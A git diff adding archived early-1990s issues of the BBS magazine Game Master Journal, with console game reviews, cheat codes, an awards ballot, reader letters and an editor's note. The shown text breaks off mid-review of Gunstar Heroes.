+±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE39±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +ACE: This game is just as good as Joe Montana Football. he +replay is great. I like the playoff system they used. What +is EA's secret? High quality sport games that combine +graphics, gameplay and fun. Wow! Rating... 90 + +MR. X: Fantastic game! The game is one of the best. I liked +John's little comments that preceeded each game. The game is +a little unrealistic though. Some people can not get tackled +even when there are all 11 people on his tail. Well, you +can't get it all. Rating... 90 + + +Mike Ditka Power Football + + Everybody's getting into the football act, even Mike Ditka. +The coach for the Chicago Bears has a Genesis game, and it's +made by Ballistic. + Power Football features all of the real cities of the NFL +teams, but the names of the players and the teams are +fictional. The camera used to see the game is in the "end +zone" behind the quarterback, using a 45 degree angle to view +of the action. +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE40±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + One of the features that set this game apart form other +football games is the passing system. There are two modes - +real-time and freeze frame. Real time is the mode used in +most games, while freeze frame shows all of the receivers, +one at a time, while all of the action is on "pause". One +drawback is the screen "jumps" to the receiver you have +selected before you actually throw the ball, so if you don't +like that receiver, and try to change to another, you may get +sacked, and wouldn't see the linebacker coming. + This massive 8-meg game has both a season and a password +system so you can pick up your action later. In this game +is digitized voices of Jam Tunney, an NFL referee for 31 +years. -ACE + +ACE: This is the worst football game for the Genesis I've +ever played. Come on. Couldn't Ballistic come up with a +better 8-meg game? The voices of "First Down" was nice, but +JMF II's "Sports Talk" was much better. The passing system +stinks. The rating I'm giving is basically charity. +Rating... 50 + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE41±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + +MR. X: The only power in Power Football is the opening +graphics. Please. This game is about as exciting as +watching paint dry. The scrolling is very choppy. The +passing is erotic, you miss wide open catches, yet make one +handed-grabs being double-teamed on the next play? Sorry, +but this one is just plain lousy. Rating... 35 + + + +Tecmo Super Bowl + + After four years of waiting, the sequel to Tecmo Bowl +finally comes to your NES. + TSB features similar game play to it's predecessor, in that +the characters on-screen are not too large. But you can see +most of the screen with it's high overhead view of the field. + Included in this cart is every single NFL starter and +backup, using the real teams and players' names. If you play +the Denver Broncos, look for Elway to drop the bomb. The +players act like their true-to-life counterparts. There are +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE42±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +a few missing, though, such as Randall Cunningham and Jim +Kelly. (These players have special licenses, so Tecmo didn't +include them.) + Something new is the battery back-up. This allows stats to +be kept in just about every category imagineable. There is +also a season that needs no passwords! + Teams can be either "man" or "com"puter controlled, or they +can be "coa"ched by a human, with the play controlled by the NES. + Good luck finding this game, though. Because it is sold +out and renting at almost a 95% rate. -SCOOP II + +ACE: This is the BEST NES football game on the market. Other +than the fact that the players are small on the screen, this +game is perfect! The cinema screens that are shown after a +TD are awesome! You won't be mad you bought or rented +Tecmo Super Bowl, trust me! Rating... 95 + +MR. X: This game is great! A perfect sequel to Tecmo Bowl. +The characters on the main screen are too small, but other +than that, it's great! Maybe they could have turned off that +BGM... it was beginning to get on my nerves. Awesome playing +against a friend! Rating... 90 +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE43±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + + ÛÛÛÛÛ Warp Zone ÛÛÛÛÛ + + +Here is the hints and tips you need to bust your favorite +games. If you have one, write to the address below. + +KEY: A B C TL TR X Y I II ST SL RUN are buttons + U D L R are controller directions + 1 2 are controllers (unless specified, use controller 1) + [codes in brackets] press and hold + +Doublew Dragon III (NES): Continue Codes +Rounds 1 to 3- U R D L A B +Rounds 4 to 6- U D L R A B +Rounds 7 to 9- Using 2 A A B B D U R L + +Lock 'n Chase (Game Boy): Extra Levels +When on title screen, type A A B B A B B ST. +This will put you on level 7-1 + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE44±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + +Loopz (NES): Passwords for Game C +Stage 6 XPO +Stage 11 JGS +Stage 16 ASL +Stage 21 PDS +Stage 26 WKK +Stage 31 YLY + +Bad Dudes (NES): 63 Men +On title screen... 2 B A D U D U 1 ST + +Ice Hockey (NES): Super Codes +both 1 and 2 hold [A B SL]. While held, 1 ST. +If used on Title Screen, no goalies. +If used on configuration screen, frictionless puck. +If used on both you get both effects. + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE45±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +Super Monaco GP (Genesis): Password +to race 15 use this code. +0Q76 2ILM F200 0000 +0010 H10F B324 5D76 +CA89 EGC1 0000 0002 +0000 0000 F200 2CAC + +Cyberball (NES and Genesis): Password +Take the S.F. Hit Men to the championship! Use +ULBB-B5PS-OF4I as your password. + +Get a free subscription to Warp Zone by giving us your tips +and tricks for the Warp Zone. If we print your code, you +win! Send them to... + Game Master Journal + Warp Zone + 59 Germain Avenue Suite 1 + Quincy, MA. 02169 + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE46±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + Game Master Journal Awards 1991 - The "Gamies" + +This is GMJ's first full year of production in pinted form, +and our first BBS issue.and we've decided to start a new +tradition... the Gamies. A Gamie can only be given out to +a game released in 1991. In each of the main systems +reviewed in GMJ including the NES, Super NES and Genesis, +there are several categories. This month we'll give the +nominees for each system, and you can vote. (See below) + +Best Overall Game - Which game was the best produced for each +system in '91? This was the best of the best, and must be a +high-quality game that no other can even touch. + +Best Sport Game - In this group you're looking for the game +which best re-created the sport in which you played. Play- +control is a plus here. + +Best Adventure Game - In Adventure, we mean a game like +"Link", not "Dragon Warrior". Find a piece, battle monsters, +use the piece, etc., is what you'd do in this game. + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE47±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + +Best Role Playing Game - Games like Dragon Warrior is what +you'd consider here. Menu driven ("Fight, Run, Use") and +text heavy, RPGs are followed by many people. + +Best Combat-Role Playing Game - Basically take out the +menus and put in hand-to-sword combat and you're all set! + +Best Action Game - What game best copies Super Mario Bros.? +That's almost what this one comes down to. Not too much +logic, but heavy on the run/jump action is what's here. + +Best Simulation - The best one in this category makes you +think you're not playing a game, but instead flying a plane +or moving a tank. + +Best Racing Game - Which game makes you feel like Michael +Andretti or Tom Petty? Look for a game that challenges your +nerves and pleases your eyes. + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE48±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +Best Puzzler - Which game makes you strain your brain and +think rather than pound away at the buttons? Which game had +you playing until 3 am? That's a great puzzler. + +Newest Innovation: Which game put a different spin on games +more than any other? Or at least tried to? (This covers all +systems.) + +Best Add-on, Portables: Which accessory made your Game Boy, +Game Gear or TurboExpress more of a success? Did it make the +screen bigger, better, or what? + +Best Add-on, Consoles: There were some real jems in this +category... things that saved your place or even changed the +game completely! These must directly affect game play. + +Best Graphics (8-bit): What game in '92 had the best screens? +Best Graphics (16-bit): Same as above, for the SNES + +Genesis. + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE49±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +Best Sound: Games that have bad sound usually stink. The +opposite can be said... games with great sounds are usually +high-quality. Which one caught your eye (or ear)? + +Game of the Year 1991: What was the best game of '91? These +include all of the systems, home and portable. Pick the +correct one and you can win prizes (see below). + +Best Overall Game: (must be from this list) +NES - Tecmo Super Bowl, Batman Return of the Joker, +Battletoads, Micro Machines +Genesis - NHL Hockey, Sonic the Hedgehog, Sword of +Vermillion, Toe Jam + Earl +Super NES - Super Mario World, Pilotwings, F-Zero, Super +Baseball Simulator 1.000 + +The rest of the categories can be any game. +Write down your choices and send them to... + Game Master Journal + 59 Germain Ave. OR E-Mail them (see page 24) + Quincy, MA. 02169 + ATTN: Game of the Year +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE50±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + +The first 50 people who send in their choices will receive an issue of +Warp Zone #1. If you pick the most popular game, you will be placed in +a drawing for a 6-issue subscription to the printedGame Master Journal. +Entries must be received by April 20th. Good luck! + + + Here comes the legal stuff!!!!!!! + + ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + This document may be freely downloaded if all of the following + conditions are true: + A: If your BBS carries Game Master Journal legally, + B: If your BBS allows you to download, + C: No alteration to the document (as a whole or parts of) has + been made and the copyright stays on the document, + D: You do not repost on another BBS without express written or + transmitted permission of ICNETS or U.S. Datanet. + ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + (c) 1992 Innovative Creations of New England TS. + + + + \ No newline at end of file diff --git a/textfiles.com/games/gmj33.txt b/textfiles.com/games/gmj33.txt new file mode 100644 index 00000000..c517d170 --- /dev/null +++ b/textfiles.com/games/gmj33.txt @@ -0,0 +1,1353 @@ + +*___________________________________________________________________* +| | | +| ### # # ##### The USEnet Edition | ISSUE #33 | +| # ## ## # . | | +| # ## # # # # | October 24 - November 5 | +| # # # # # . "d70 format" | | +| # # # # # # | | +| ### # # ## | | +|___________________________________________________________________| +* * + + +All of the moves! All of the characters! All of the dirt,ONLY in GMJ! + ++===================================================================+ +|# ##### ##### ##### ##### #### F ### # # ##### | +|# # # # # # # T # ## ## # | +|# ### # # ### #### R # ## # # # # C | +|# # # # # # # H # # # # # # R | +|##### ##### # # ##### # # O ### # # ## E | +| E W | +| M | ++===================================================================+ +** LETTER D70 *** + +Hello again fellow GMJ readers. Lots going on right now here at GMJ. +The first Electronic Print issue is finally out and we have been +overwhelmed by the response. For those of you who just can't afford +the lengthy download, we have an extremely low price for a +subscription offer. Check out an ad this issue for all of the +details. + +The main theme the last few weeks has to be the 3DO. Panasonic +released the $700 monster early November and it is taking off pretty +well. We had a chance to test this money vacuum out recently and we +were pretty impressed. Check out the Power Switch section this issue +to get all of the hands on test details for the 3DO from the Game +Masters. + +You Genesis players will be happy to hear that Mortal Kombat is the +number one selling 16 bit title right now even topping the SNES +version in sales for last month. Why? I really don't know. The SNES +version is a much better translation. I guess this just proves that +MK's blood and gore is what makes it. + +You are really going to start to see expanded coverage starting this +issue. We are still playing around with the formats both Ansi and +Electronic Print. You probably noticed fact windows in our review +section in issue #32 with a few new pieces of information like megs, +who reviewed the game and average of reviews. Adding to that, is our +hyper text capsules which will be featured next to random reviews. +These capsules will have game PREviews and tidbits of info. + +Don't expect to see GMJ every week anymore, we are changing to +bi-weekly. The reason is that we can put out a much higher quality +issue in 2 weeks and we have reached a point where it is no longer +necessary to come out weekly. The Elec- tronic print version will +stay monthly and will come out 12+ times per year. + +Those of you reading the Electronic Print version enjoyed some Super +SFII art on our cover done by my sister...I'm sorry. I really am. I +didn't want to do it, but Street Fighter is Street Fighter and I had +to do it. I promise there won't be eight SFII covers with in the next +12 issues! While we are on the subject however, check out some +exclusive Super Street Fighter coverage this issue: All the moves for +every character! (and we even avoided listing those phunky character +profiles. You know, the ones that tell you how many hours of sleep +Ryu gets before his hard training at the Dojo.) + +Hey everybody, before I let you read on, let me remind you to not buy +any new systems until sometime in '95 when Nintendo will release their +recently announced 64 Bit system (which by the way GMJ reported before +ANYONE else) for under $250.....yeah right! Ok, so even if it is so +great, and it is that inexpensive, why am I going to wait until 1995? +Listen, if you are always waiting for the next best thing, you will +never own anything. I like Sega's approach. Give us a system when +it's ready, let us enjoy it, and release a new system when it's time. +If I had listened to Nintendo last year trying to convince me not to +buy a Sega CD because their more advanced CD would be here in early +'93 and for less, I would be pretty pissed off right now. + +Well, that is it for now. Enjoy our expanded coverage and additional +sections. + + - Reny Falzarano [Da Phunky Pheel One] + + +*___________________________________________________________________* +| | +| #### # # #### ##### #### % % %%%%% %%%% R E V I E W S | +| # # # # # # # # %% % % % R E V I E W S | +| #### # # # # ## ##### % % % %% %%% R E V I E W S | +| # # # #### # # # % % % % % R E V I E W S | +| # # # # # # # # % %% % % % R E V I E W S | +| ### ### # ##### # # % % %%%%% %%% R E V I E W S | +|___________________________________________________________________| +* * +HEAD-TO-HEAD: One game reviewed on two or more platforms...! ++-------------------------------------------------------------------+ +|TITLE: |PUBLISHER |GAME TYPE: |SIZE: |GENESIS 70 \/ | +| Zombies Ate | Konami | Adventure |08 MEG|*****%%%%%@@@@@#####| +| My Neighbors | | | |SUPER NES 83 ^ | +|---------------+-----------+-----------+------+--------------------| +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| The GMJ Crew ---------- ** ---------- ** ---------- ** | +| | ++-------------------------------------------------------------------+ + +Just like Mortal Kombat (but with less hype), Konami's Zombies Ate My +Neighbors was released for the S-NES and Genesis on the same day, so +we here at GMJ decided to run a comparison explaining the differences +in each of the versions. So sit back and relax, 'cause this is one +wild ride. + +Both the S-Nes and Genesis versions share the same story-line; to stop +the hordes of evil from capturing your local towns occupants. You can +choose to rush into action as either a guy that looks like a follower +of Beavis and Butthead, or a pony tail wielding woman that might be +the twin of Mindy from the tv show "Mork and Mindy". A two player +cooperative option is available so that you're not alone in this never +ending fight to save your town. + +Zombies uses a "tongue in cheek" approach to killing the baddies, +because the weapons you use include a water gun, weed whacker, fire +extinguisher, apples, and other household goodies. You fight in over +forty levels of never ending mayhem, with some levels including a +local mall, a school, and a maze of hedges. The enemies in this game +are too numerous to count because they all change according to the +level your playing on. This unique approach makes the game original, +but there is no attention given to the progress of any story. The +only real goal is to "tag" the residents of the level before a bad guy +kills them. The residents are spread out all around the levels, and +each level ends when all the people have either been saved or killed. + + +S-NES version - 83 + +The S-NES version and Genesis versions of Zombie both sport the same +levels and the same graphics, but the S-NES uses music and sound a +whole lot more effectively, and the control is be better on this one +as well because of the more buttons used. The title screen is the +first sign that really shows the differences; the S-Nes version has +the Zombies logo gradually morph into view, where the Genesis version +has very little morphing. The opening music and voices are also done +better on the S-NES version. + +The play mechanics and control are a lot better on the S-NES version +because it's full screen, while the Sega version has a two inch black +bar running along the entire right side of the screen. Just being +able to see more of the screen adds to the S-NES Zombies, because you +have more time to react to the oncoming enemies. The graphics are +also larger than those for the Sega version and playing them both +right after each other really shows which is superior. + +Not only is the screen size a difference in the two Zombies, but the +music, when compared to each other, is a total blowout with the +S-NES's better sound capabilities destroying the Sega version. Hooked +up to a stereo system, the Zombies soundtrack booms with some house +shaking bass and some of the better video game sounds on the market +being used. Real samples of screams and explosions were used to give +a sense of realism to Zombies, while the rest of the game comes off as +a B-movie style game with many cliches being used. + +Genesis version - 70 + +The Sega version of Zombies and I got off to a bad start; I played +Zombies on my S-NES and expected an almost identical version on the +Sega. I was wrong. The programmers took a shotty approach in the +making of the Sega version, and I was honestly disappointed with the +whole game. The two inch black bar is probably the thing that stands +out most as an example of bad programming. It takes up way to much +room on the screen, and it's only use is to show the score, weapons +left, and a mapping system which shows you where the citizens are; all +of which was done on the regular screen for the S-NES. + +Bar aside, the graphics in this game are the same on both versions, +with only a slight color loss on the Sega version being the +difference. Zombies is not compatible with the six button controller, +which would have been ideal with this type of game. Assigning +multiple weapons to the top buttons could have added a lot to the game +play. In the area of sound, the Sega version lacks the same +instrumental quality that the S-NES Zombies had, and the sound effects +seemed to be shorter with a scratchy digitized sound that accompanied +them. I can understand how the music might be below the S-NES +standards, but allowing the Genesis Zombies to be plagued by a huge +bar really brought this game down. + + + Here's How They Stacked Up HEAD TO HEAD : + +Overall, the concept and ideas for Zombies showed a lot of originality +on both versions, and the two player option adds a lot to the +re-playability of this game. But when put side to side, the S-NES +version really outperforms the Sega Zombies in both playability and +overall appearance. Unlike Mortal Kombat where the Genesis version +had the blood where the S-NES one didn't, the Sega Zombies has no +superior qualities over it's S-NES counterpart, and people who are +interested in buying this game will easily pick up a copy of the Super +Nintendo version over the Sega Genesis version. + + + ___________________________________________________________________ +]^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^[ +] Innovative Creations [ +] 29 David Road +--- + + +--+ +--+ +--- +-- +-- [ +] South Carver, MA 02330 |- ++ +--+ |-++ |- +--+ +--+ [ +] (shubert@usc.edu) +--- + + | | \ +--- --+ --+ [ +] (ace@castle.com) |\ /| +--+ -+- | [ +] | | |--| | | EXPRESS [ +] | | | | -+- +--- MAIL [ +]___________________________________________________________________[ + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +Hello all of you GMJers. If you want to write to us letting us know +what you think of the new version, old version, how much you hate us +or love us, or have any video game questions that you hope to be +published, write to us at the addresses above. We are trying to set +up ID's for ALL of our writers on these boards, but until we do, just +write to the ID's above. Everyone sees every letter. This edition of +Express Mail, we only selected letters strictly magazine related since +the theme seems to be our new version. Since some of the questions +were really good, we thought it would be a good and simple way to +explain exactly how everything will work. However, keep sending your +game questions and other such mail because next issue will resume +regular procedures... + +*** Slow baud? No problem. +I was on Prodigy and I read some promotional letters from you guys +about the graphic version of the magazine. I assume it is a big file +and I only have a 2400 modem. Is there another way to get the new +version? + +H. Cavelerio +Westford, Ma + +{ Phunky: Just recently we decided to give away the magazine through +{ the mail in addition to the downloads. All you have to do is write +{ us on any of our boards in which we read mail. Give us your +{ address and we will send you the print issues monthly. + +*** Win-dozer +Why is your new version only for windows? I don't have windows and I +have been with you guys almost the whole time! Now you exclude me? +THANKS A LOT! + +Norman Lewis +Boston, Ma + +{ Phunky: +{ Hey Norm, CALM DOWN! We reconfigured the whole project. At first it +{ was only going to be for windows, but we found some better ways of +{ doing the mag. Now anyone with a PC can view our mag through DOS! + +*** But, you aren't EGM! +GMJ rules, don't get me wrong. But we need some overseas coverage. I +want to know what's coming, when it's coming and how much it's gonna +be! + +Michael Watson +Boston, Ma + +{ Phunky: +{ Mike, I guess you will be a very happy camper as you read the +{ upcoming issue of GMJ. We are expanding into a full coverage +{ magazine. Look for upcoming game lists, Japanese news, sales and +{ rental figures and a lot more! + +*** Recent fan wants pictures +I've been a follower of your mag ever since issue #23, and I've seen +great improvements in both the layout and overall quality of the +reviews. Your info is out months before the other published mags, so +I really don't have a reason to buy them anymore. The only problem I +see is that you can't have pictures of the games online. Other than +that, GMJ is my favorite video gaming mag on and it's free!! Keep up +the good work. + +Ben Croxford +Boston, Ma + +{ Phunky: +{ Well Ben, your prayers have been answered. Starting this issue, we +{ have a monthly Electronic Print version of the Game Master Journal. +{ We have expanded coverage, full color pictures, a professional +{ layout and anything else you would find in those other $5 mags, +{ except we are free, and we will be offering even more than they +{ will, including several things that just CAN'T be done with regular +{ print versions. + +..................................................................... +:WE are the only magazine that prints ALL EMAIL sent to us that is : +:not vulgar or obscene. So.. send your videogame hints, tips + Q's!: +: : +:# # ##### # # ### # # ##### ##### # # ### ##### # : +:# # # # # # # ## # # # ## ## # # # # : +:# # ### # # ##### # # # # ### # # # ##### # # : +:# # # # # # # # # # ## # # # # # # # # : +: # # ##### # # # # # # # ##### # # # # ##### #####: +: ........................: +:shubert@usc.edu VOICE: 213-743-1341 : : +: ace@castle.com ExpressNET: 130@1 : ONE PERSON EACH ISSUE : +:PHUNKY1@delphi.com WWIVnet: 130@6754 : RECEIVES a 'GMJ PACK' : +: : FREE, ONLY FROM GMJ!! : +: Software Creations: Anthony Shubert : : +:...........................................:.......................: + + ___________________________________________________________________ +| | +| ### ##### # # ##### ### ##### ### R E V I E W S | +| # # ## # # # # # | +| # ## ### # # # ### ### # ### R E V I E W S | +| # # # # ## # # # # | +| ### ##### # # ##### #### ##### #### R E V I E W S | +|___________________________________________________________________| + ++-------------------------------------------------------------------+ +|TITLE: |PUBLISHER |GAME TYPE: |SIZE: | AVERAGE OF REVIEWS | +| Street Fighter| Capcom | Fighting |24 MEG|0 95| +| 2: Special CE | | | |*****%%%%%@@@@@####-| +|---------------+-----------+-----------+------+--------------------| +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Da Phunky 95 Instigator 95 Mr. Mojo 98 Anderson 95 | +| | ++-------------------------------------------------------------------+ + +Hey SFII fans, it's renew your lease on your Genesis...AGAIN! Quite +possibly one of the most amazing feats accomplished on the Genesis so +far is the latest version of SFII from Capcom. Every year, you think +that the good old Genny is just a little too outdated, but bang, +programming hits a new level and you keep it for another year. Games +like SFIISCE keep Sega players happy, and the video game market going. + +Judging by the name, you may think it is just the Champion Edition +standing alone, however just like on the SNES, the Turbo and Hyper +Fighting options are included. But unlike the SNES version, the Sega +version packs a tournament option. + +When you first snag this cart of the shelf and plug it in to your +Genesis, there is simply nothing that is going to fully prepare you +for what you are going to experience. Every last animation is here, +perfectly translated to the Sega format. Choose from any of the 12 +characters in either of their snazzy uniforms (depending what mode you +are playing in). The backgrounds amazingly enough look spectacular +even in the 64 color display. The smooth parallax scrolling, +simulating 3D effect and the soft textured presentation of the +characters are only a small part of this flickerless phenomenon. + +Anyone planning on picking this cart up, should really consider buying +one of Sega's little 6 button controllers to go with it. Not only +does the controller give you true arcade control for a great price +($20), but it is also the best available controller on the market +priced under $40. With the 6 button controller, this is the best +playing version of the game yet. Too bad this game was not made +compatible with Sega's upcoming 4 player adapter, the tournament mode +would have fit so perfectly. + +The tournament mode is a great opportunity for you and your buddies to +get together and find out who the real champ is. There are 2 tourney +options. The first one allows each person competing to select 6 +different fighters to use. Whoever wins the most matches is obviously +the winner. This mode is great to show up those 1 dimensional players +who can only use one or two characters. The second mode, the +Elimination Mode, allows to select from one to six characters. You +fight one round battles and whoever defeats all their opponents first +wins. + +If speed is what you need, you will be exuberantly excited to find out +that just like the SNES version, this version is actually faster than +the arcade since you can choose from a total of ten speeds (no code +necessary this version). + +Ahh, there had to be one downer. The voices. Although the music is +pretty good the voices and sound effects were completely horrible. A +disappointing con since we have seen a lot of great effects and sounds +on other previous Genny carts. I assume this was all due to lack of +memory. Even at 24 meg, they ran out of room to improve on the sound, +but that is ok because the rest of the game is near perfect. + +It's finally here folks. Many thought it would never come, but it did +and in a big way. SFIISCE is one of the hottest carts this year on +the Genesis with amazing graphics, control and speed. Only thing I +can say that is wrong with it besides the sound, is that it was based +on the SNES version, not the arcade. The characters are small just +like on the SNES and they did not truly add the Turbo +backgrounds...however, this is GENESIS! + +Instigator - 95 +This has to make you happy. The Genesis finally has Street Fighter +and deservedly so. Capcom makes their first Genesis title and what a +great entrance. + +Mr. Mojo Risin' - 98 +Since when is a Genesis game better than the SNES version? Yup, better +is right. The control is just too perfect. Awesome graphics, super +fast speed and no code necessary! Turn the volume down though. + +Anderson - 95 + +ú +What more could you ask for. The best version of SFII yet! The new +tournament mode is great and just thinking that this is all done on +Genesis! + + + Here's how they stacked up HEAD TO HEAD: + +For some nitty gritty comparisons, you should check out our review +last issue of the SNES version, but here are some of the points we +came up with. + +o The Genesis version is just as fast with no code needed. +o The characters are animated just as well, and graphics are just as + spectacular. +o The SNES version has a much brighter and colorful appearance and + that is hands down a big plus. +o The sound on the SNES version is great, the voices are ok, but the + both the sound and voices on the Genny version rotted! +o The control was great on both versions. With the 6 button + controller, the Genesis version played better. Using the 3 button + controller, the SNES version played better. The music was really + good on both version, but I have to give the SNES version the edge. +o Both versions offer small characters, and unfinished backgrounds. +o The Genesis version offers a great tournament mode not found on any + other version. + + ++-------------------------------------------------------------------+ +|TITLE: |PUBLISHER |GAME TYPE: |SIZE: | AVERAGE OF REVIEWS | +| Ranger-X | Sega | Fighting | |0 88 | +| |RATING: GA | | |*****%%%%%@@@@@###--| +|---------------+-----------+-----------+------+--------------------| +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Aquarius 85 Sr. Jnx 90 Mr. Mojo 92 ---------- ** | +| | ++-------------------------------------------------------------------+ + +Ranger-X represents what an older concept along with newer technology +can create and along with it a new realm in video gaming. Space +shooters have been used time and time again, but Ranger-X from Gao (a +new Sega development team) twists the idea along with a side scrolling +shooter to make a game that is actually original in today's market. + +Your character is a huge metal suited figure, equipped with a standard +blaster and a second weapon which can be switched at any time in the +game. This second weapon has it's own power meter which drops when +it's being used. An Ex-Up vehicle follows along behind you and can +become a part of you by standing on it and pressing down to crouch +inside the vehicle. While on the Ex-Up you can choose what your +second weapon is from an assortment of lasers to a flame thrower. The +Ex-Up automatically follows your character throughout the level, and +with the six button controller, you can control it by using the top +buttons. + +Flying is a big part of this game as your main guy can take to the air +because of the engine hooked up to your back. The engine is limited +to just a few seconds of flying, but with practice, hovering in one +place can make it so you're in the air for longer periods of time. +Your character and the other motorized attackers all animate very +fluidly on screen, and the amount of color and parallax scrolling on +the levels in incredible. Each level has you going after a series of +targets that must be destroyed before going onto the boss encounter. +Some levels have you going on one set path, while others like level +two have you exploring certain areas to find the targets. + +The button combinations are unique in that button A makes you face +left and let's you fire in that direction, while button C faces you +right. Button B uses the special weapon and up takes you to the +skies. The backgrounds in this game all use a tremendous amount of +color, and the foregrounds and sprites all use color effectively. The +explosions are realistic looking, which is a given for a shooter style +game. The popular use of parallax found in the floor of the Street +Fighter II levels can be found here in level three with a 3-D tunnel +that looks like you're really walking past it. This might not add +much to the actual game, but it's great for the visual aspect of the +game. + +The music is some phunky tunes that fit into this game perfectly. +Listening to this game with a pair of headphones really adds to the +game because it makes you feel like you're in the game. The +explosions shake the house literally, and the gunfire is represented +with realistic digitized sounds. Other newsworthy portions of this +game include some software scaling of some enemy ships and at the +beginning of each level a series of lines that represent building +scales and rotates around the screen and scale toward the viewer. + +The downsides of Ranger-X include the very hard nature of the game and +the awkward controls that take time to master and to feel comfortable +with. The good points are the great graphics and presentation of the +levels and the overwhelming sounds that happen during the action. The +addition of the Ex-Up really improves the game-play of the game, and +the bosses and enemies all seem to come at you at once. Ranger-X has +some great strategic levels, and is a game for the hard core gamer +that can beat most games on hard. Along with Gunstar Heroes, Sega +seems to be focusing a lot of attention on action games now-a-days +which means we'll be seeing a lot of good quality games come Christmas +time. Ranger-X is just superb. + +Aquarius-85 +I didn't have a six button controller so the controls +weren't as precise as I would have liked them to of been. The +graphics were some of the best I've ever seen. Control was just to +damn cooky. + +Sr. Jnx-90 +The sights and sounds in Ranger-X just blew me away! The Ex-Up rover +was a great idea that can be used as an option in future games. The +scaling lines in-between levels weren't needed, and the difficulty was +just too hard for most gamers. Not for the light of heart. + +Mr. Mojo Risin'-92 +This game just simply rocks!! Everything is perfect from the huge +amount of colors to the great sound effects. With a six button +controller this game really took a turn towards the gaming elite. +It's not every day that a game like this is released, so be sure to +save your money for this one. + + ++-------------------------------------------------------------------+ +|TITLE: |PUBLISHER |GAME TYPE: |SIZE: | AVERAGE OF REVIEWS | +| Gunstar Heroes| Sega | Action |08 MEG|0 95| +| |RATING: GA | | |*****%%%%%@@@@@####-| +|---------------+-----------+-----------+------+--------------------| +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Instigator 95 Da Phunky 96 Anderson 90 The Farmer 97 | +| ---------- ** ---------- ** ---------- ** | +| | ++-------------------------------------------------------------------+ + +Leave all your premonitions and beliefs of what your Sega Genesis can +do in the closet, because Sega has probably destroyed every boundary +of what the Genesis is "supposed to do" in it's newest game, Gunstar +Heroes. Gunstar is in a league of it's own; never before have a +combination of graphics, sound, game-play, software techniques, and +overall fun been all applied to the same game with such magnitude. + +Gunstar Heroes is the newest side-scrolling action game to be released +on the Genesis, and while not having the popular movie names to it or +any flashy ad campaigns, has succeeded in mixing the perfect blend of +non-stop action and game-play into one 8-meg cart. The on-screen +action can only be described as furious, with as many as ten enemies +on screen at once, and clocked at speeds just under a weighted down +Sonic. Enemies come from everywhere, and attack from just about every +point of angle on the screen. + +At the beginning of the game you get to choose your characters +fighting style; either being able to fire your weapon as you run or an +option that makes you have to stand still while you fire your weapon. +Next, you get to choose which of the four beginning levels you'll +start out at, and then a quick rundown on the level you chose. From +here on out is non-stop action that has to be seen to be believed. + +There are four primary weapons in Gunstar: a laser, a fire thrower, a +seek and destroy weapon, and a flame thrower. The weapons are spread +out all around the levels and can be upgraded by finding and picking +up that weapons icon. An original idea used in this game is that the +weapons can be mixed so that a brand new weapon is made (ie. if you +pick up the fire thrower and the tracking weapon, the weapon becomes a +huge line of flame that seeks out enemies.) This new weapon set-up +makes for some great trial and error situations where you must decide +which weapon must be used in what situation. + +Scaling and rotation have never looked this good on the Sega Genesis. +Through software techniques, almost flawless rendering of objects is +possible. Most of the bosses use at least some special technique in +the way they attack or more around the screen. One such boss is a +series of boxes in the form of a human figure which rotates around the +screen and has the most lifelike movements that I've ever seen in a +box. The rest of the graphics in this game are cartoonish in nature, +but are done with superb color usage and some great animations. A lot +of detail went into the making of this game, with great shading and +backgrounds on all of the levels, and a lot of attention in keeping +the action intense at all points in the game. + +The first four levels can be beaten in any order, and doing so is no +cake walk. Each level has several mini-bosses and an end boss that +makes you use all the skills of the character. Your character can +shoot in any direction, be it up, down, sideways, or in any diagonal +direction. Your character can also do a slide sweep which takes a lot +of damage off the enemies, and a combination of a throw or a body +slam/jump kick. Hanging from ceilings and ledges is also possible, +and aerial throws and combinations are also possible. Two of the +levels have you riding in a separate vehicle; one being in a scooter +that can defy gravity, and the other one in a spaceship for a mini +outer space shooter. Game-play has never reached these heights, with +an improvement only possible with the use of a six button capability +not found in this game. The levels themselves also have unique things +to cling from and to climb on. One level is set on an aircraft in the +sky while another is a huge monopoly game with multiple baddies to +beat 